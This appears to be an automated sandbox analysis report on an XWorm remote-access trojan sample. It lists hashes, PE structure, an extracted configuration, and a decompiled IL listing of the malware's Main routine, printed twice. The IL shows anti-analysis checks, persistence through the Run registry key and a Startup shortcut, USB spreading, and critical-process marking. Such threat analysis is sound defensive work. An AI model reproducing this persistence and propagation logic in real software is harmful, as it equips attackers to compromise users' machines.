Malicious
Malicious

d3854e7516b4e3ccb5b097d8849b04de

PE Executable
|
MD5: d3854e7516b4e3ccb5b097d8849b04de
|
Size: 39.94 KB
|
application/x-dosexec

Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Obfuscation Score

Low

Hash
Hash Value
MD5
d3854e7516b4e3ccb5b097d8849b04de
Sha1
a3821c5c90891cca345d05f269e5445aea3fdd3b
Sha256
7a434cb43798be0359333c99bc5a70228d44d37ad891a52b5bdf8a8b8a0ee013
Sha384
95866f52d7af34205cce70e531e5727a74bb9eb73a71ee23569d185879dc8adbd3a3d2dcbdbacd1bea3de7452de6bb10
Sha512
b810b43dc6602312e039dfbc1b99f3fb6c51384662840c11dcda2f118c224c823529881055b44ab683c549d4b0fd1b82b448f87d7169dd104db32f488b2fbe10
SSDeep
768:BPfdKI5RExEy0FWrWUCwFPX92iC6O9hEG7tw:5A8WSUjFf92iC6O9Bw
TLSH
D9035C0877E48316D5FD5FB06A72A10606B6F5039823EF5E08D8999B3F277C14E427E6

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Malware Configuration - XWorm config.
Config. Field
Value
Mutex

%AppData%

KEY

PKbuur+Mg22IIqX7Qhv0Hw==

USBNM

pjyaOhZaG5h2YlAvNTlNBw==

LoggerPath

%AppData%

family

xworm

Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Module Name

System.exe

Full Name

System.exe

EntryPoint

System.Void Stub.Main::Main()

Scope Name

System.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

System

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

229

Main Method

System.Void Stub.Main::Main()

Main IL Instruction Count

247

Main IL

ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::Host call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Host ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::InstallDir call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Settings::InstallDir leave.s IL_0099: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0099: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_00A6: call System.Void Stub.Main::RunAntiAnalysis() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.Main::RunAntiAnalysis() leave.s IL_00BC: ldsfld System.String Settings::InstallDir dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00BC: ldsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Stub.Helper::current call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_5 call My.MyComputer My.MyProject::get_Computer() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String Stub.Helper::current call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.s V_5 callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) ldloc.s V_5 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_011B: ldc.i4 1000 ldloc.s V_5 newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.s V_5 ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0147: leave.s IL_0158 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0147: leave.s IL_0158 leave.s IL_0158: ldsfld System.String Settings::InstallDir dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0158: ldsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Stub.Helper::current call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_9 ldloc.s V_9 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_018C: ldc.i4 1000 ldloc.s V_9 newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_11 ldloc.s V_11 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.s V_9 ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_01B8: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_01B8: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Stub.Helper::current call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_10 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldloc.s V_10 stelem.ref <null> ldloc.s V_14 stloc.s V_15 ldloc.s V_15 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_16 ldloc.s V_16 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_16 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_16 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_023D: stloc.s V_17 ldloc.s V_15 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_10 stloc.s V_17 ldloc.s V_17 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_18 ldloc.s V_18 ldc.i4.0 <null> ldloc.s V_9 stelem.ref <null> ldloc.s V_18 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_17 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_18 ldloc.s V_18 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_18 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_17 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_17 ldloc.s V_10 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.Helper::fileStream leave.s IL_02BD: call System.Void Stub.USB::USBStart() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02BD: call System.Void Stub.USB::USBStart() call System.Void Stub.USB::USBStart() call System.Void Stub.Helper::PreventSleep() call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_02D8: ldnull call System.Void Stub.ProcessCritical::CriticalProcess_Enable() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.0 <null> ldnull <null> ldftn System.Void Stub.Helper::XMemory() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.0 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Module Name

System.exe

Full Name

System.exe

EntryPoint

System.Void Stub.Main::Main()

Scope Name

System.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

System

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

<null>

Total Strings

229

Main Method

System.Void Stub.Main::Main()

Main IL Instruction Count

247

Main IL

ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) ldsfld System.String Settings::Host call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Host ldsfld System.String Settings::Port call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM ldsfld System.String Settings::InstallDir call System.String System.Environment::ExpandEnvironmentVariables(System.String) stsfld System.String Settings::InstallDir leave.s IL_0099: call System.Boolean Stub.Helper::CreateMutex() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.3 <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0099: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() brtrue.s IL_00A6: call System.Void Stub.Main::RunAntiAnalysis() ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) call System.Void Stub.Main::RunAntiAnalysis() leave.s IL_00BC: ldsfld System.String Settings::InstallDir dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_4 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_00BC: ldsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Stub.Helper::current call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_5 call My.MyComputer My.MyProject::get_Computer() callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry() callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser() ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) ldsfld System.String Stub.Helper::current call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldloc.s V_5 callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object) ldloc.s V_5 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_011B: ldc.i4 1000 ldloc.s V_5 newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_6 ldloc.s V_6 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.s V_5 ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_0147: leave.s IL_0158 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_7 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0147: leave.s IL_0158 leave.s IL_0158: ldsfld System.String Settings::InstallDir dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_8 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_0158: ldsfld System.String Settings::InstallDir ldsfld System.String Settings::InstallDir ldstr \ ldsfld System.String Stub.Helper::current call System.String System.IO.Path::GetFileName(System.String) call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_9 ldloc.s V_9 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_018C: ldc.i4 1000 ldloc.s V_9 newobj System.Void System.IO.FileInfo::.ctor(System.String) stloc.s V_11 ldloc.s V_11 callvirt System.Void System.IO.FileInfo::Delete() ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldloc.s V_9 ldsfld System.String Stub.Helper::current call System.Byte[] System.IO.File::ReadAllBytes(System.String) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) leave.s IL_01B8: ldc.i4.7 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_01B8: ldc.i4.7 ldc.i4.7 <null> call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) ldstr \ ldsfld System.String Stub.Helper::current call System.String System.IO.Path::GetFileNameWithoutExtension(System.String) ldstr .lnk call System.String System.String::Concat(System.String,System.String,System.String,System.String) stloc.s V_10 ldstr WScript.Shell ldstr call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldstr CreateShortcut ldc.i4.1 <null> newarr System.Object stloc.s V_14 ldloc.s V_14 ldc.i4.0 <null> ldloc.s V_10 stelem.ref <null> ldloc.s V_14 stloc.s V_15 ldloc.s V_15 ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_16 ldloc.s V_16 ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_16 call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_16 ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_023D: stloc.s V_17 ldloc.s V_15 ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_10 stloc.s V_17 ldloc.s V_17 ldnull <null> ldstr TargetPath ldc.i4.1 <null> newarr System.Object stloc.s V_18 ldloc.s V_18 ldc.i4.0 <null> ldloc.s V_9 stelem.ref <null> ldloc.s V_18 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_17 ldnull <null> ldstr WorkingDirectory ldc.i4.1 <null> newarr System.Object stloc.s V_18 ldloc.s V_18 ldc.i4.0 <null> ldstr stelem.ref <null> ldloc.s V_18 ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldloc.s V_17 ldnull <null> ldstr Save ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldnull <null> stloc.s V_17 ldloc.s V_10 ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Stub.Helper::fileStream leave.s IL_02BD: call System.Void Stub.USB::USBStart() dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_13 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_02BD: call System.Void Stub.USB::USBStart() call System.Void Stub.USB::USBStart() call System.Void Stub.Helper::PreventSleep() call System.String Stub.ClientSocket::UAC() call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String) brfalse.s IL_02D8: ldnull call System.Void Stub.ProcessCritical::CriticalProcess_Enable() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.0 <null> ldnull <null> ldftn System.Void Stub.Helper::XMemory() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.0 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> callvirt System.Void System.Threading.Thread::Join() ret <null>

Artefacts
Name
Value
Mutex

%AppData%

d3854e7516b4e3ccb5b097d8849b04de (39.94 KB)
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Characteristics
Malware Configuration - XWorm config.
Config. Field
Value
Mutex

%AppData%

KEY

PKbuur+Mg22IIqX7Qhv0Hw==

USBNM

pjyaOhZaG5h2YlAvNTlNBw==

LoggerPath

%AppData%

family

xworm

Artefacts
Name
Value Location
Mutex

%AppData%

Malicious

d3854e7516b4e3ccb5b097d8849b04de

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